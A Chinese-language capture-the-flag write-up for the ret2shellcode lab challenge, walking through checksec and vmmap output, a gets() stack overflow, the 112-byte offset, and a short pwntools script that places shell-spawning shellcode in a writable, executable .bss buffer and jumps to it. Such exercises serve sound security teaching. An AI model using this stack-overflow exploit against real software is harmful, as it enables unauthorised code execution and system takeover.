ret2shellcode

发布时间 2023-07-29 22:25:32作者: qianyuzz

ret2shellcode

介绍

shellcode的意思其实就是能获取到shell的code,以前还疑惑为什么要交shellcode。

解题

1、先查看附件信息
使用 checksec ret2shellcode可以查看到ret2shellcode的信息;发现是32位的小端序,某个段有着可读可写可执行的权限。

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

将文件拖入IDA中查看内容,按F5反编译成C语言。这段代码中可以发现get没有限制我们读入的数据,可以造成栈溢出;buf2是一块为64h字节大小的.bss段内的空间。

  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;

使用pwndbg调试程序,使用b main在main函数下断点,run指令来运行程序。再使用vmmap查看每个段的权限。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/pwn/Pwn/pwn_challenge/ret2shellcode
 0x8049000  0x804a000 r-xp     1000 0      /home/pwn/Pwn/pwn_challenge/ret2shellcode
 0x804a000  0x804b000 rwxp     1000 1000   /home/pwn/Pwn/pwn_challenge/ret2shellcode
0xf7dcb000 0xf7fb3000 r-xp   1e8000 0      /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb3000 0xf7fb5000 r-xp     2000 1e7000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb5000 0xf7fb7000 rwxp     2000 1e9000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb7000 0xf7fb9000 rwxp     2000 0      
0xf7fcb000 0xf7fcd000 rwxp     2000 0      
0xf7fcd000 0xf7fd0000 r--p     3000 0      [vvar]
0xf7fd0000 0xf7fd1000 r-xp     1000 0      [vdso]
0xf7fd1000 0xf7ffb000 r-xp    2a000 0      /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r-xp     1000 2a000  /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rwxp     1000 2b000  /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

可以发现
0x804a000 0x804b000 rwxp 1000 1000 /home/pwn/Pwn/pwn_challenge/ret2shellcode是.bss段,根据IDA中.bss的地址。

那么我们的思路就是让strncpy将我们的shellcode拷贝到bss段中,我们再将return address指向buf2的位置;这就导致执行了我们的shellcode,从获得shell。

可能会有同学有个疑惑,就是为什么在gets()处改变了return address的地址,为什么还能继续执行下面的strncpy()函数。就像下面的小伙伴说的:

payload是被gets接收后,谥出的地址是0xO804A080,gets执行完毕后程序会跳转到0x0804A080,然后比时0x0804A080啥也没有,我理解此时就会程序出错了啊?怎么会继续跑strncpy?

这是因为我们输入是在s这个局部变量里面,这时候它是处于main函数的栈帧中。所以我们修改的是main函数的返回地址;并且由于s的栈帧还在get()栈帧上,我们是无法修改get()函数的栈帧的。

现在我们只需要构造溢出就可以,使用pwmgbd来调试程序,在get()输入后,查看栈的情况。可以发现ebp在0xffffd0a8,我们的输入在0xffffd03c,相减就可以发现差为108,再溢出4个字节的ebp,那么需要112字节的垃圾数据就可以到达retun address。

构造exp:

rom pwn import *

io = process("./ret2shellcode")

buf2 = 0x0804A080

payload = asm(shellcraft.sh()).ljust(112,b'B')+ p32(buf2)

io.sendline(payload)

io.interactive()

至此完成整个过程。